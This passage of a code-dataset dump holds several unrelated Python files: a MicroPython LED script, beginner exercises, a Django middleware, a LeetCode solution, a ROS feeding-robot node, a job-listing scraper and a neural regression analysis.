matrix\n","sub_path":"arrays_strings/RotateMatrix/rotate.py","file_name":"rotate.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"6142722","text":"import machine\nimport time\n\nled = machine.Pin(21, machine.Pin.OUT)\n\nfor i in range(9):\n led.value(1)\n time.sleep_ms(500)\n led.value(0)\n time.sleep_ms(500)\n\nf = open('green/main.py')\nupdated_code = f.read()\nf.close()\n\nf = open('main.py', \"w\")\nf.write(updated_code)\nf.close()\nmachine.reset()\n","sub_path":"red/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"234095451","text":"from typing import List\n\nimport numpy\n\n\ndef main():\n print(\"hello world\")\n\n\nif __name__ == \"__main__\":\n main()\n\nmyLst: List[int] = [1, 2, 3, 5, 7, 9]\n\nprint(myLst)\n\nfor counter in myLst:\n print(counter)\n\n# create a list\nmylist = [\"richie\", 1.84, \"inge\", 1.65, \"alex\", 1.67]\n# change one item from a list\nmylist[5] = 1.68\n# change multiple items\nmylist[0:2] = [\"richard\", 1.86]\n# remove item from list\ndel(mylist[2])\n# add item to list\nmylist + [\"kasper\", 0.71]\n# create new list and add item\nmylist_ext = mylist + [\"castor\", 1.44, \"pollux\", 1.54]\n\n# create a set\nprimesS = set((1, 2, 3, 5, 7))\n# create a tuple\nprimesT = (1, 2, 3, 5, 7)\n# create a list\nprimesL = [1, 2, 3, 5, 7]\n\n# Test if item is in list\nr = range(1, 5)\n# test if value in range\n1 in r\n\n# Web Scraping\nmain_url = \"https://www.humblebundle.com/\"\n\nimport requests\nresult = requests.get(main_url)\n\nresult.text[:1000]\n\n\nfrom bs4 import BeautifulSoup\nsoup = BeautifulSoup(result.text, 'html.parser')\n\nprint(soup.prettify()[:1000])\n\n# Collections ##############\nimport collections as col\n\nabc = 'jiwamotqgcfnudclzbyxkzmrvp'\nmycount = col.Counter(abc)\nprint(2 in mycount.values())\n\n# show type \nmycount.elements()\n# show elements of collection\nlist(mycount.elements())\n# show number of elements\nlen(list(mycount.elements()))\n\n\n############ Python OOP #######################\n############ Create a class ###########\n'''\nclass Employee:\n\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@company.com'\n\n\nemp_1 = Employee('Corey', 'Schafer', 50000)\nemp_2 = Employee('Test', 'User', 40000)\n\n# to print full name we can do:\nprint('{} {}'.format(emp_1.first,emp_1.last))\n\n# or we create a method:\n'''\n\n\nclass Employee:\n\n num_of_emps = 0\n raise_amount = 1.04\n\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@company.com'\n\n Employee.num_of_emps += 1\n\n\n def fullname(self):\n return '{} {}'.format(self.first, self.last)\n\n def apply_raise(self):\n self.pay = int(self.pay * self.raise_amount)\n\n\nemp_1 = Employee('Corey', 'Schafer', 50000)\nemp_2 = Employee('Test', 'User', 40000)\nprint(emp_1.fullname())\nprint(emp_2.email)\nprint(Employee.fullname(emp_1))\n\nprint(emp_1.pay)\nemp_1.apply_raise()\nprint(emp_1.pay)\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\nprint(emp_1.__dict__)\nprint(Employee.__dict__)\n\nprint(Employee.num_of_emps)\n\n\n\n\n","sub_path":"scratch/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212833764","text":"import logging\nstdlogger = logging.getLogger(__name__)\n\nclass CoffeehouseMiddleware(object):\n\n def __init__(self, get_response):\n stdlogger.info(\"Start CoffehouseMiddleware __init__\")\n self.get_response = get_response\n stdlogger.info(\"End CoffehouseMiddleware __init__\")\n \n def __call__(self, request):\n stdlogger.info(\"Start CoffehouseMiddleware __call__\")\n\n stdlogger.info(\"CoffehouseMiddleware __call__ before get_response\")\n response = self.get_response(request)\n stdlogger.info(\"CoffehouseMiddleware __call__ after get_response\")\n \n stdlogger.info(\"End CoffehouseMiddleware __call__\")\n return response\n\n def process_view(self, request, view_func, view_args, view_kwargs):\n \"\"\" Called on each request, just before Django calls the view.\n Keyword arguments:\n request -- the HttpRequest object. \n view_func -- the Python function that Django is about to use. It's the actual function object, not the name of the function as a string.\n view_args -- a list of positional arguments that will be passed to the view. Does not include the first view argument (request).\n view_kwargs -- a dictionary of keyword arguments that will be passed to the view. Does not include the first view argument (request).\n Response value: \n None -- An empty value; If it returns None, Django will continue processing this request, executing any other process_view() middleware and, then, the appropriate view. \n HttpResponse -- An HttpResponse object; If it returns an HttpResponse object, Django won't bother calling any other view or exception middleware, or the appropriate view; it'll apply response middleware to that HttpResponse, and return the result.\n NOTE: Request-phase method applied in order, from the top to bottom. This means classes defined at the start of MIDDLEWARE will be run first.\n \"\"\"\n stdlogger.info(\"start CoffehouseMiddleware process_view\")\n stdlogger.info(\"End CoffehouseMiddleware process_view\")\n return None\n\n def process_exception(self, request, exception):\n \"\"\" Called when a view raises an exception.\n Keyword arguments:\n request -- the HttpRequest object. \n exception -- an Exception object raised by the view function.\n Response value: \n None -- An empty value; the default exception handling kicks in.\n\t HttpResponse -- An HttpResponse object; If it returns an HttpResponse object, the template response and \n response middleware will be applied, and the resulting response returned to the browser. If an exception \n middleware returns a response, the middleware classes above that middleware will not be called at all.\n NOTE: Response-phase method applied in reverse order, from the bottom up. This means classes defined at \n the end of MIDDLEWARE will be run first.\n \"\"\"\n stdlogger.info(\"Start CoffehouseMiddleware process_exception\")\n stdlogger.info(\"End CoffehouseMiddleware process_exception\")\n return None\n\n def process_template_response(self, request, response):\n \"\"\" Called just after the view has finished executing.\n Keyword arguments:\n request -- the HttpRequest object. \n response -- the TemplateResponse object (or equivalent) returned by a Django view or by a middleware.\n Response value: \n TemplateResponse or equivalent response object that implements a render method. It could alter the given \n response by changing response.template_name and response.context_data, or it could create and return a \n brand-new TemplateResponse or equivalent.\n NOTE: You don't need to explicitly render responses, responses are automatically rendered once all \n template response middleware has been called.\n NOTE2: Response-phase method applied in reverse order, from the bottom up. This means classes defined at \n the end of MIDDLEWARE will be run first.\n \"\"\"\n stdlogger.info(\"Start CoffehouseMiddleware process_template_response\")\n stdlogger.info(\"End CoffehouseMiddleware process_template_response\")\n return response\n","sub_path":"coffeehouse/utils/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":4236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"396537868","text":"class Solution:\n def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n import math\n\n\n dist = []\n\n for index,point in enumerate(points):\n\n dist.append([math.sqrt(point[0]**2 + point[1]**2) , index])\n\n\n dist.sort(key = lambda x:x[0])\n\n\n ans = []\n\n for i in range(k):\n ans.append(points[dist[i][1]])\n\n return(ans)","sub_path":"day-30-k-closest-point-to-origin.py","file_name":"day-30-k-closest-point-to-origin.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280297077","text":"#!/usr/bin/env python\nimport rospy\nimport time\n\nimport feedbot_trajectory_logic.tracker_interface as tracker\nimport numpy as np\nfrom learn_trajectory.srv import PlayTrajectory\nfrom std_msgs.msg import String, Empty\nfrom geometry_msgs.msg import Quaternion\n\n\nclass SpoonFeeder:\n def __init__(self):\n rospy.logwarn(\"sleeping for 5 seconds before starting recorded motion\")\n rospy.sleep(5)\n # quaternion is defined in order x,y,z,w\n self.defaultQuat = Quaternion(0.5, 0.5, 0.5, 0.5)\n self.tracker = tracker.TrackerInterface(self.defaultQuat)\n self.trackertoo = tracker.TrackerInterface(self.defaultQuat, '/domusromus/update_pose_target')\n self.play_trajectory_topic = \"trained_poses\"\n self._play_trajectory = rospy.ServiceProxy(\"play_trajectory\", PlayTrajectory)\n\n def follow_trajectory(self, recording_file_name):\n self.tracker.start_updating_target_to_pose(self.play_trajectory_topic, [0,0,0])\n self.trackertoo.start_updating_target_to_pose(\"/domusromus/\"+self.play_trajectory_topic,[0,0,0])\n rospy.logwarn(\"Playing trajectory at \" + self.play_trajectory_topic)\n self._play_trajectory(String(self.play_trajectory_topic), String(recording_file_name))\n\nif __name__==\"__main__\":\n rospy.init_node('spoon_feeder', anonymous=True)\n recording_file_name = rospy.get_param(\"~recording_file_name\")\n s = SpoonFeeder()\n while (True):\n s.follow_trajectory(recording_file_name)\n time.sleep(5)\n","sub_path":"scripts/execute_both_trajectory_node.py","file_name":"execute_both_trajectory_node.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"58767373","text":"# -*- coding: utf-8 -*-\n\"\"\"\nspecially for 58\nAuthor: jianyu\nEmail: 544194390@qq.com\nDate: 2016/03/29\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport urllib.request\nimport re\nimport setting\n\n\ndef get_pos_list(content):\n \"\"\"\n get the a list and get the 'posCont' from each web of the a tag\n :param content: 58 website url ,e.g. \"http://gz.58.com/tech/\"\n :return: a list of posCont detail, but haven't handled\n \"\"\"\n soup = BeautifulSoup(content, \"html5lib\")\n a_list = soup.find_all(\"a\", class_=\"t\", limit=setting.position_count)\n pos_list = []\n for a in a_list:\n # because of jumping, so we must use urllib to imitate\n content = urllib.request.urlopen(a['href']).read()\n soup = BeautifulSoup(content, \"html5lib\")\n position_msg = soup.find_all(class_=\"posCont\", limit=1)\n pos_list.append(position_msg)\n return pos_list\n\n\ndef space_filter(str):\n \"\"\"\n remove all the enter and space\n \"\"\"\n return str.replace('\\n', '').replace(' ', '').replace('
', ' ')\n\n\ndef tag_filter(str):\n \"\"\"\n remove all the html tag\n \"\"\"\n return re.sub('<[^>]+>', '', str)\n\n\ndef handle_content(content):\n \"\"\"\n Specifically for fetching things from a website about works\n being used in FUNCTION handle_request\n :param content: a string of html\n :return: nothing but print to screen\n\n \"http://gz.58.com/tech/\"\n \"\"\"\n\n position_list = get_pos_list(content)\n # position_list_end is the result and it will be printed out\n position_list_end = []\n position = dict()\n\n for each_position in position_list:\n position.clear()\n if len(each_position) == 0:\n return\n else:\n each_position = each_position[0]\n\n position['position_name'] = each_position.h1.string\n position['update_time'] = each_position.ul.li.span.strong.string\n soup = BeautifulSoup(str(each_position), \"html5lib\")\n position['next_url'] = soup.find_all(id=\"nextUrl\", limit=1)[0]['href']\n\n company = soup.find_all(class_=\"companyName\", limit=1)[0]\n position['company_name'] = space_filter(company.string)\n position['company_url'] = company['href']\n\n company_msg = soup.find_all(class_=\"compMsg\", limit=1)[0]\n position['company_msg'] = space_filter(company_msg.ul.li.a.string)\n\n scale = soup.find_all(class_=\"scale\", limit=1)[0]\n soup_4_scale = BeautifulSoup(str(scale), \"html5lib\")\n position['company_scale'] = str(soup_4_scale.li).\\\n replace(\"规模: \", '').\\\n replace('
  • ', '').\\\n replace('
  • ', '')\n position['company_scale'] = space_filter(position['company_scale'])\n\n pos_info_list_1 = soup.find_all(class_=\"w380\", limit=2)\n position['salary'] = pos_info_list_1[0].strong.string\n position['position_type'] = str(pos_info_list_1[1]).\\\n replace(\"招聘职位:\", '').\\\n replace('
    ', '').\\\n replace('
    ', '')\n position['position_type'] = space_filter(position['position_type'])\n\n pos_info_list_2 = soup.find_all(class_=\"fl\", limit=2)\n position['study_require'] = str(pos_info_list_2[0]).\\\n replace(\"学历要求:\", '').\\\n replace('
    ', '').\\\n replace('
    ', '')\n position['work_time'] = str(pos_info_list_2[1]).\\\n replace(\"工作年限:\", '').\\\n replace('
    ', '').\\\n replace('
    ', '')\n position['study_require'] = space_filter(position['study_require'])\n position['work_time'] = space_filter(position['work_time'])\n\n area = soup.find_all(class_=\"condition\", limit=3)\n soup_4_area = BeautifulSoup(str(area), \"html5lib\").find_all('span')\n position['work_area'] = soup_4_area[6].string\n\n pos_info_list_4 = soup.find_all(class_=\"cbSum\", limit=4)\n position['bonus'] = \"\"\n for info in pos_info_list_4:\n position['bonus'] = position['bonus'] + info.span.string + \" \"\n\n detail = soup.find_all(class_=\"borb\", limit=1)\n soup_4_detail = BeautifulSoup(str(detail[0]), \"html5lib\")\n position['detail'] = ''\n for span in soup_4_detail.find_all(\"span\"):\n position['detail'] = position['detail'] + tag_filter(str(span)) + \" \"\n position['detail'] = space_filter(position['detail'])\n\n company_introduction = soup.find_all(class_=\"compIntro\", limit=1)\n soup_4_intro = BeautifulSoup(str(company_introduction), \"html5lib\")\n position['company_introduction'] = ''\n for span in soup_4_intro.find_all(['p', 'span']):\n position['company_introduction'] = position['company_introduction'] + tag_filter(str(span)) + ' '\n position['company_introduction'] = space_filter(position['company_introduction'])\n\n for each in position:\n position[each] = tag_filter(position[each]).encode('utf-8').decode('utf-8')\n position_list_end.append(position)\n\n print(position_list_end)\n","sub_path":"contentHelper/work.py","file_name":"work.py","file_ext":"py","file_size_in_byte":5113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"85252578","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 9 12:22:26 2019\n\n@author: veronikasamborska\n\"\"\"\nimport sys\n\nsys.path.append('/Users/veronikasamborska/Desktop/ephys_beh_analysis/remapping')\nsys.path.append('/Users/veronikasamborska/Desktop/ephys_beh_analysis/preprocessing')\n\nimport remapping_count as rc \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport regression_function as reg_f\nimport regressions as re\nfrom collections import OrderedDict\nfrom matplotlib import colors as mcolors\nfrom sklearn.linear_model import LinearRegression\n\n\n# ols = LinearRegression(copy_X = True,fit_intercept = False)\n# ols.fit(X_1,y_1)\n# sse = np.sum((ols.predict(X_2) - y_2)**2, axis = 0)\n# cpd = np.zeros([y.shape[1],X_2.shape[1]])\n\n# for i in range(X_1.shape[1]):\n# X_i = np.delete(X_1,i,axis=1)\n# X_i_1 = np.delete(X_2,i,axis=1)\n# ols.fit(X_i,y_1)\n# sse_X_i = np.sum((ols.predict(X_i_1) - y_2)**2, axis=0)\n# cpd[:,i]=(sse_X_i-sse)/sse_X_i\n \n# cpd = cpd.reshape(12,n_timepoints, n_predictors) \n# sse = sse.reshape(12,n_timepoints)\n# plt.figure()\n# for i in range(12):\n# plt.plot(sse[i,:])\n \n# c = np.mean(cpd, 0)\n# for i in range(cpd.shape[2]):\n# plt.plot(c[:,i])\n\ndef _CPD_cross_task(X,X1, y, y1):\n \n 'Evaluate coefficient of partial determination for each predictor in X'\n ols = LinearRegression(copy_X = True,fit_intercept = False)\n ols.fit(X1,y1)\n sse = np.sum((ols.predict(X1) - y1)**2, axis = 0)\n cpd = np.zeros([y.shape[1],X.shape[1]])\n \n for i in range(X.shape[1]):\n X_i = np.delete(X,i,axis=1)\n X_i_1 = np.delete(X1,i,axis=1)\n ols.fit(X_i,y)\n sse_X_i = np.sum((ols.predict(X_i_1) - y1)**2, axis=0)\n cpd[:,i]=(sse_X_i-sse)/sse_X_i\n \n return cpd\n\n\ndef regression_general(data):\n \n C = []\n cpd = []\n \n C_1 = []\n C_2 = []\n C_3 = []\n \n cpd_1_2 = []\n cpd_2_3 = []\n\n dm = data['DM']\n #dm = dm[:-1]\n firing = data['Data']\n #firing = firing[:-1]\n \n for s, sess in enumerate(dm):\n DM = dm[s]\n firing_rates = firing[s]\n n_trials, n_neurons, n_timepoints = firing_rates.shape\n \n if n_neurons > 10:\n session_trials_since_block = []\n\n \n state = DM[:,0]\n choices = DM[:,1]\n reward = DM[:,2]\n b_pokes = DM[:,7]\n a_pokes = DM[:,6]\n task = DM[:,5]\n block = DM[:,4]\n block_df = np.diff(block)\n taskid = rc.task_ind(task,a_pokes,b_pokes)\n \n correct_choice = np.where(choices == state)[0]\n correct = np.zeros(len(choices))\n correct[correct_choice] = 1\n \n a_since_block = []\n trials_since_block = []\n t = 0\n \n #Bug in the state? \n for st,s in enumerate(block):\n if state[st-1] != state[st]:\n t = 0\n else:\n t+=1\n trials_since_block.append(t)\n \n session_trials_since_block.append(trials_since_block)\n \n t = 0 \n for st,(s,c) in enumerate(zip(block, choices)):\n if state[st-1] != state[st]:\n t = 0\n a_since_block.append(t)\n \n elif c == 1:\n t+=1\n a_since_block.append(t)\n else:\n a_since_block.append(0)\n \n negative_reward_count = []\n rew = 0\n block_df = np.append(block_df,0)\n for r,b in zip(reward,block_df):\n \n if r == 0:\n rew += 1\n negative_reward_count.append(rew)\n elif r == 1:\n rew -= 1\n negative_reward_count.append(rew)\n if b != 0:\n rew = 0\n \n positive_reward_count = []\n rew = 0\n block_df = np.append(block_df,0)\n for r,b in zip(reward,block_df):\n \n if r == 1:\n rew += 1\n positive_reward_count.append(rew)\n elif r == 0:\n rew += 0\n positive_reward_count.append(rew)\n if b != 0:\n rew = 0\n \n positive_reward_count = np.asarray(positive_reward_count)\n negative_reward_count = np.asarray(negative_reward_count)\n choices_int = np.ones(len(reward))\n \n \n choices_int[np.where(choices == 0)] = -1\n reward_choice_int = choices_int * reward\n interaction_trial_latent = trials_since_block * state\n interaction_a_latent = a_since_block * state\n int_a_reward = a_since_block * reward\n \n interaction_trial_choice = trials_since_block*choices_int\n reward_trial_in_block = trials_since_block*positive_reward_count\n negative_reward_count_st = negative_reward_count*correct\n positive_reward_count_st = positive_reward_count*correct\n negative_reward_count_ch = negative_reward_count*choices\n positive_reward_count_ch = positive_reward_count*choices\n ones = np.ones(len(choices))\n \n \n predictors_all = OrderedDict([('Reward', reward),\n ('Choice', choices),\n #('Correct', correct),\n #('A in Block', a_since_block), \n #('A in Block x Reward', int_a_reward), \n \n ('State', state),\n ('Trial in Block', trials_since_block),\n #('Interaction State x Trial in Block', interaction_trial_latent),\n #('Interaction State x A count', interaction_a_latent),\n \n ('Choice x Trials in Block', interaction_trial_choice),\n ('Reward x Choice', reward_choice_int),\n # ('No Reward Count in a Block', negative_reward_count),\n # ('No Reward x Correct', negative_reward_count_st),\n # ('Reward Count in a Block', positive_reward_count),\n # ('Reward Count x Correct', positive_reward_count_st),\n # ('No reward Count x Choice',negative_reward_count_ch),\n # ('Reward Count x Choice',positive_reward_count_ch),\n # ('Reward x Trial in Block',reward_trial_in_block),\n \n ('ones', ones)])\n \n \n X = np.vstack(predictors_all.values()).T[:len(choices),:].astype(float)\n n_predictors = X.shape[1]\n y = firing_rates.reshape([len(firing_rates),-1]) # Activity matrix [n_trials, n_neurons*n_timepoints]\n tstats = reg_f.regression_code(y, X)\n \n C.append(tstats.reshape(n_predictors,n_neurons,n_timepoints)) # Predictor loadings\n cpd.append(re._CPD(X,y).reshape(n_neurons,n_timepoints, n_predictors))\n \n task_1 = np.where(taskid == 1)[0]\n task_2 = np.where(taskid == 2)[0]\n task_3 = np.where(taskid == 3)[0]\n \n # Task 1 \n reward_t1 = reward[task_1]\n choices_t1 = choices[task_1]\n correct_t1 = correct[task_1]\n \n a_since_block_t1 = np.asarray(a_since_block)[task_1]\n int_a_reward_t1 = int_a_reward[task_1]\n state_t1 = state[task_1]\n trials_since_block_t1 = np.asarray(trials_since_block)[task_1]\n interaction_trial_latent_t1 = interaction_trial_latent[task_1]\n interaction_a_latent_t1 = interaction_a_latent[task_1]\n interaction_trial_choice_t1 = interaction_trial_choice[task_1]\n reward_choice_int_t1 = reward_choice_int[task_1]\n negative_reward_count_t1 = negative_reward_count[task_1]\n negative_reward_count_st_t1 = negative_reward_count_st[task_1]\n positive_reward_count_t1 = positive_reward_count[task_1]\n positive_reward_count_st_t1 = positive_reward_count_st[task_1]\n negative_reward_count_ch_t1 = negative_reward_count_ch[task_1]\n positive_reward_count_ch_t1 = positive_reward_count_ch[task_1]\n reward_trial_in_block_t1 = reward_trial_in_block[task_1]\n \n firing_rates_t1 = firing_rates[task_1]\n ones = np.ones(len(choices_t1))\n \n predictors = OrderedDict([('Reward', reward_t1),\n ('Choice', choices_t1),\n ('Correct', correct_t1),\n ('A in Block', a_since_block_t1), \n ('A in Block x Reward', int_a_reward_t1), \n \n ('State', state_t1),\n ('Trial in Block', trials_since_block_t1),\n ('Interaction State x Trial in Block', interaction_trial_latent_t1),\n ('Interaction State x A count', interaction_a_latent_t1),\n \n ('Choice x Trials in Block', interaction_trial_choice_t1),\n ('Reward x Choice', reward_choice_int_t1),\n ('No Reward Count in a Block', negative_reward_count_t1),\n ('No Reward x Correct', negative_reward_count_st_t1),\n ('Reward Count in a Block', positive_reward_count_t1),\n ('Reward Count x Correct', positive_reward_count_st_t1),\n ('No reward Count x Choice',negative_reward_count_ch_t1),\n ('Reward Count x Choice',positive_reward_count_ch_t1),\n ('Reward x Trial in Block',reward_trial_in_block_t1),\n \n ('ones', ones)])\n \n X_1 = np.vstack(predictors.values()).T[:len(choices_t1),:].astype(float)\n n_predictors = X_1.shape[1]\n y_1 = firing_rates_t1.reshape([len(firing_rates_t1),-1]) # Activity matrix [n_trials, n_neurons*n_timepoints]\n tstats = reg_f.regression_code(y_1, X_1)\n \n C_1.append(tstats.reshape(n_predictors,n_neurons,n_timepoints)) # Predictor loadings\n \n \n \n # Task 2\n reward_t2 = reward[task_2]\n choices_t2 = choices[task_2]\n correct_t2 = correct[task_2]\n \n a_since_block_t2 = np.asarray(a_since_block)[task_2]\n int_a_reward_t2 = int_a_reward[task_2]\n state_t2 = state[task_2]\n trials_since_block_t2 = np.asarray(trials_since_block)[task_2]\n interaction_trial_latent_t2 = interaction_trial_latent[task_2]\n interaction_a_latent_t2 = interaction_a_latent[task_2]\n interaction_trial_choice_t2 = interaction_trial_choice[task_2]\n reward_choice_int_t2 = reward_choice_int[task_2]\n negative_reward_count_t2 = negative_reward_count[task_2]\n negative_reward_count_st_t2 = negative_reward_count_st[task_2]\n positive_reward_count_t2 = positive_reward_count[task_2]\n positive_reward_count_st_t2 = positive_reward_count_st[task_2]\n negative_reward_count_ch_t2 = negative_reward_count_ch[task_2]\n positive_reward_count_ch_t2 = positive_reward_count_ch[task_2]\n reward_trial_in_block_t2 = reward_trial_in_block[task_2]\n \n firing_rates_t2 = firing_rates[task_2]\n ones = np.ones(len(choices_t2))\n \n predictors = OrderedDict([('Reward', reward_t2),\n ('Choice', choices_t2),\n ('Correct', correct_t2),\n ('A in Block', a_since_block_t2), \n ('A in Block x Reward', int_a_reward_t2), \n \n ('State', state_t2),\n ('Trial in Block', trials_since_block_t2),\n ('Interaction State x Trial in Block', interaction_trial_latent_t2),\n ('Interaction State x A count', interaction_a_latent_t2),\n \n ('Choice x Trials in Block', interaction_trial_choice_t2),\n ('Reward x Choice', reward_choice_int_t2),\n ('No Reward Count in a Block', negative_reward_count_t2),\n ('No Reward x Correct', negative_reward_count_st_t2),\n ('Reward Count in a Block', positive_reward_count_t2),\n ('Reward Count x Correct', positive_reward_count_st_t2),\n ('No reward Count x Choice',negative_reward_count_ch_t2),\n ('Reward Count x Choice',positive_reward_count_ch_t2),\n ('Reward x Trial in Block',reward_trial_in_block_t2),\n \n ('ones', ones)])\n \n \n X_2 = np.vstack(predictors.values()).T[:len(choices_t2),:].astype(float)\n n_predictors = X_2.shape[1]\n y_2 = firing_rates_t2.reshape([len(firing_rates_t2),-1]) # Activity matrix [n_trials, n_neurons*n_timepoints]\n tstats = reg_f.regression_code(y_2, X_2)\n \n C_2.append(tstats.reshape(n_predictors,n_neurons,n_timepoints)) # Predictor loadings\n \n \n # Task 3\n reward_t3 = reward[task_3]\n choices_t3 = choices[task_3]\n correct_t3 = correct[task_3]\n \n a_since_block_t3 = np.asarray(a_since_block)[task_3]\n int_a_reward_t3 = int_a_reward[task_3]\n state_t3 = state[task_3]\n trials_since_block_t3 = np.asarray(trials_since_block)[task_3]\n interaction_trial_latent_t3 = interaction_trial_latent[task_3]\n interaction_a_latent_t3 = interaction_a_latent[task_3]\n interaction_trial_choice_t3 = interaction_trial_choice[task_3]\n reward_choice_int_t3 = reward_choice_int[task_3]\n negative_reward_count_t3 = negative_reward_count[task_3]\n negative_reward_count_st_t3 = negative_reward_count_st[task_3]\n positive_reward_count_t3 = positive_reward_count[task_3]\n positive_reward_count_st_t3 = positive_reward_count_st[task_3]\n negative_reward_count_ch_t3 = negative_reward_count_ch[task_3]\n positive_reward_count_ch_t3 = positive_reward_count_ch[task_3]\n reward_trial_in_block_t3 = reward_trial_in_block[task_3]\n \n firing_rates_t3 = firing_rates[task_3]\n ones = np.ones(len(choices_t3))\n \n predictors = OrderedDict([('Reward', reward_t3),\n ('Choice', choices_t3),\n ('Correct', correct_t3),\n ('A in Block', a_since_block_t3), \n ('A in Block x Reward', int_a_reward_t3), \n \n ('State', state_t3),\n ('Trial in Block', trials_since_block_t3),\n ('Interaction State x Trial in Block', interaction_trial_latent_t3),\n ('Interaction State x A count', interaction_a_latent_t3),\n \n ('Choice x Trials in Block', interaction_trial_choice_t3),\n ('Reward x Choice', reward_choice_int_t3),\n ('No Reward Count in a Block', negative_reward_count_t3),\n ('No Reward x Correct', negative_reward_count_st_t3),\n ('Reward Count in a Block', positive_reward_count_t3),\n ('Reward Count x Correct', positive_reward_count_st_t3),\n ('No reward Count x Choice',negative_reward_count_ch_t3),\n ('Reward Count x Choice',positive_reward_count_ch_t3),\n ('Reward x Trial in Block',reward_trial_in_block_t3),\n \n ('ones', ones)])\n \n \n X_3 = np.vstack(predictors.values()).T[:len(choices_t3),:].astype(float)\n n_predictors = X_3.shape[1]\n y_3 = firing_rates_t3.reshape([len(firing_rates_t3),-1]) # Activity matrix [n_trials, n_neurons*n_timepoints]\n tstats = reg_f.regression_code(y_3, X_3)\n \n C_3.append(tstats.reshape(n_predictors,n_neurons,n_timepoints)) # Predictor loadings\n \n cpd_1_2.append(_CPD_cross_task(X_1,X_2,y_1,y_2).reshape(n_neurons,n_timepoints, n_predictors))\n \n cpd_2_3.append(_CPD_cross_task(X_2,X_3,y_2,y_3).reshape(n_neurons,n_timepoints, n_predictors))\n \n print(n_neurons)\n \n \n \n cpd = np.nanmean(np.concatenate(cpd,0), axis = 0)\n C = np.concatenate(C,1)\n \n C_1 = np.concatenate(C_1,1)\n \n C_2 = np.concatenate(C_2,1)\n \n C_3 = np.concatenate(C_3,1)\n \n cpd_1_2 = np.nanmean(np.concatenate(cpd_1_2,0), axis = 0)\n cpd_2_3 = np.nanmean(np.concatenate(cpd_2_3,0), axis = 0)\n\n \n return C, cpd, C_1,C_2, C_3, cpd_1_2,cpd_2_3, predictors_all,session_trials_since_block\n\n\n# predictors = OrderedDict([('Reward', reward_t2),\n# ('Choice', choices_t2),\n# ('Correct', correct_t2),\n# ('A in Block', a_since_block_t2), \n# ('A in Block x Reward', int_a_reward_t2), \n# \n# ('State', state_t2),\n# ('Trial in Block', trials_since_block_t2),\n# ('Interaction State x Trial in Block', interaction_trial_latent_t2),\n# ('Interaction State x A count', interaction_a_latent_t2),\n#\n# ('Choice x Trials in Block', interaction_trial_choice_t2),\n# ('Reward x Choice', reward_choice_int_t2),\n# ('No Reward Count in a Block', negative_reward_count_t2),\n# ('No Reward x Correct', negative_reward_count_st_t2),\n# ('Reward Count in a Block', positive_reward_count_t2),\n# ('Reward Count x Correct', positive_reward_count_st_t2),\n# ('No reward Count x Choice',negative_reward_count_ch_t2),\n# ('Reward Count x Choice',positive_reward_count_ch_t2),\n# ('Reward x Trial in Block',reward_trial_in_block_t2),\n \ndef svd_on_coefs():\n \n C, cpd, C_1, cpd_1,C_2, cpd_2, C_3, cpd_3, predictors,session_trials_since_block = regression_general(HP)\n C_PFC, cpd_PFC, C_1_PFC, cpd_1_PFC,C_2_PFC, cpd_2_PFC, C_3_PFC, cpd_3_PFC, predictors,session_trials_since_block = regression_general(PFC)\n\n# predictors = OrderedDict([('Reward', reward_t2),\n# ('Choice', choices_t2),\n# ('Correct', correct_t2),\n# ('A in Block', a_since_block_t2), \n# ('A in Block x Reward', int_a_reward_t2), \n# \n# ('State', state_t2),\n# ('Trial in Block', trials_since_block_t2),\n# ('Interaction State x Trial in Block', interaction_trial_latent_t2),\n# ('Interaction State x A count', interaction_a_latent_t2),\n#\n# ('Choice x Trials in Block', interaction_trial_choice_t2),\n# ('Reward x Choice', reward_choice_int_t2),\n# ('No Reward Count in a Block', negative_reward_count_t2),\n# ('No Reward x Correct', negative_reward_count_st_t2),\n# ('Reward Count in a Block', positive_reward_count_t2),\n# ('Reward Count x Correct', positive_reward_count_st_t2),\n# ('No reward Count x Choice',negative_reward_count_ch_t2),\n# ('Reward Count x Choice',positive_reward_count_ch_t2),\n# ('Reward x Trial in Block',reward_trial_in_block_t2),\n# \n# ('ones', ones)])\n \n no_choice_idn = [0,2,5,6,7,8,9]\n choice = [1,3,4,8,10]\n task_1_HP = C_1[choice,:,:]\n task_2_HP = C_2[choice,:,:]\n \n #HP \n task_1_HP = np.transpose(task_1_HP,[0,2,1]).reshape(task_1_HP.shape[0]*task_1_HP.shape[2], task_1_HP.shape[1])\n task_2_HP = np.transpose(task_2_HP,[0,2,1]).reshape(task_2_HP.shape[0]*task_2_HP.shape[2], task_2_HP.shape[1])\n #task_3 = np.transpose(task_3,[0,2,1]).reshape(task_3.shape[0]*task_3.shape[2], task_3.shape[1])\n \n \n where_are_NaNs = np.isnan(task_1_HP)\n task_1_HP[where_are_NaNs] = 0\n where_are_NaNs = np.isinf(task_1_HP)\n task_1_HP[where_are_NaNs] = 0\n \n \n where_are_NaNs = np.isnan(task_2_HP)\n task_2_HP[where_are_NaNs] = 0\n where_are_NaNs = np.isinf(task_2_HP)\n task_2_HP[where_are_NaNs] = 0\n \n \n u_t1, s_t1, vh_t1 = np.linalg.svd(np.transpose(task_1_HP), full_matrices = False)\n t_u 